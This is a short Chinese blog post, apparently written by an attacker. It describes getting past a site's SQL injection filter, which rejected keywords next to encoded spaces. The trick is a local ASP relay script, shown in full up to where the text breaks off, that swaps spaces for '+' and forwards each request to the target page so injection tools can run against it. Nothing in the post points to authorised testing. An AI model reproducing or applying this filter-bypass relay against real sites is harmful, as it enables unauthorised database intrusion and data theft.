今天检测一个站的时候,发现有SQL注入,但是当关键字和%20(空格)在一块出现的时候会提出错误,注入工具检测不了.加上他又是错误提示关闭,所以手工注入超级麻烦.为了充分发挥懒人的精神,我在本地搭建了IIS,写了如下代码,成功绕过.
Code Language : ASP
<%
id=request(\"id\") '得到变量id
id=replace(id,\" \",\"+\") '转换
url=\"http://www.xxxxx.com.cn/content.asp?id=\" & id
Set hackwolf = CreateObject(\"Microsoft.XMLHTTP\")
hackwolf.Open \"GET\",url,False
hackwolf.Send()
res=hackwolf.responseBody
x=Bytes2bStr(res)
response.write x
set hackwolf=nothing
Function Bytes2bStr(vin)
Dim BytesStream,StringReturn
Set BytesStream = Server.CreateObject(\"ADODB.Stream\")